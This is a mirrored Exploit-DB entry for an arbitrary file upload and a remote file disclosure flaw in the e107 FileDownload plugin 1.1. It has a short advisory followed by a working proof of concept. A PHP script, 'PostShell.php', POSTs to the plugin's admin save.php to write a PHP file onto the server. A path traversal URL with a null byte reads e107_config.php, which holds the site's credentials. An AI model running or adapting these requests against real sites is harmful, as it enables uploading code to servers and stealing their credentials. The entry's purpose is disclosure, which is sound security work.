e107 Filedownload Plugin – Arbitrary File Upload / Remote File Disclosure - 体验盒子

作者： Sammy FORGIT

日期： 2012-06-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/37434/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

source: https://www.securityfocus.com/bid/54098/info

The FileDownload Plugin for e107 is prone to an arbitrary file-upload vulnerability and a remote file-disclosure vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks.

FileDownload 1.1 is vulnerable; other versions may also be affected.

PostShell.php

<?php

$ch = curl_init("http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/save.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('filename'=>'lo.php',

'accesses'=>'<?php phpinfo(); ?>'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>

http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00